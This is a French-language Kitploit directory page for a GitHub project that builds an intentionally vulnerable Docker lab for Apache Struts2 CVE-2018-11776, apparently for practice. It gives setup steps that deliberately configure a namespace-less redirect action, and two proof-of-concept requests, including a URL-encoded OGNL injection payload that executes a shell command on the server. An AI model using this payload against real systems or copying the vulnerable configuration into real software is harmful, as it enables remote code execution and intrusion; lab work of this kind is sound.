Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-11776 — Conteneur Docker vulnérable pour CVE-2018-11776 | Kitploit
Outils/GitHubGitHub/bhdresh/cve-2018-11776
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubbhdresh/cve-2018-11776

CVE-2018-11776

Conteneur Docker vulnérable pour CVE-2018-11776

Voir le dépôt
1272il y a 8 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Conteneur Docker vulnérable pour CVE-2018-11776

root@kitploit:~
# docker pull bhdresh/cve-2018-11776:1.0
# docker run -dit -p <IP ADDRESS>:8080:8080 bhdresh/cve-2018-11776:1.0

PoC

PoC - 1
root@kitploit:~
Request : http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/${333+333}/help.action
Result  : http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/666/help.action
PoC - 2
root@kitploit:~
Request : http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27touch /tmp/vulnerable%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action
Result  : This would create a file named 'vulnerable' in /tmp/ directory of docker

Étapes pour créer un conteneur Docker vulnérable

Créer un Dockerfile
root@kitploit:~
FROM ubuntu:latest
RUN apt-get update -y
RUN apt-get upgrade -y
RUN apt-get dist-upgrade -y
RUN apt-get install default-jdk vim net-tools wget -y
EXPOSE 8080
Construire un docker
root@kitploit:~
# docker build -t cve-2018-11776 .
Démarrer un docker
root@kitploit:~
# docker run --name cve-2018-11776 -p <IP ADDRESS>:8080:8080 -dit cve-2018-11776 /bin/bash
Se connecter au docker
root@kitploit:~
# docker exec -it cve-2018-11776 /bin/bash
Effectuer les modifications suivantes dans le docker
Configurer Tomcat:
root@kitploit:~
# mkdir ~/sources
# cd ~/sources
# wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz
# tar xvzf apache-tomcat-7.0.90.tar.gz
# mv apache-tomcat-7.0.90 /opt/tomcat
Mettre à jour bashrc avec les variables:
root@kitploit:~
# vim ~/.bashrc

export JAVA_HOME=/usr/lib/jvm/default-java
export CATALINA_HOME=/opt/tomcat

# . ~/.bashrc
Ajouter un administrateur à l'interface graphique de Tomact :
root@kitploit:~
# vim /opt/tomcat/conf/tomcat-users.xml

<user username="username" password="test-cve-2018-11776" roles="manager-gui,admin-gui" />
Démarrer le serveur Tomcat
root@kitploit:~
# $CATALINA_HOME/bin/startup.sh
Télécharger et déployer un Struts2 Showcase vulnérable via l'interface Tomcat
root@kitploit:~
http://<IP ADDRESS>:8080 (username:test-cve-2018-11776)
Redémarrer Tomcat
root@kitploit:~
# $CATALINA_HOME/bin/shutdown.sh
# $CATALINA_HOME/bin/startup.sh
Ajouter une action de redirection vulnérable sans espace de noms :
root@kitploit:~
# vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

  <action name="help">
              <result type="redirectAction">
                      <param name="actionName">date.action</param>
              </result>
  </action>

NOTE : Par défaut, alwaysSelectFullNamespace doit être défini sur True.
Redémarrer Tomcat et consulter la page Struts2 Showcase :
root@kitploit:~
# $CATALINA_HOME/bin/shutdown.sh
# $CATALINA_HOME/bin/startup.sh

http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/showcase.jsp

Auteur

@bhdresh

Références

https://github.com/xfox64x/CVE-2018-11776

https://github.com/jas502n/St2-057

Télécharger l’outil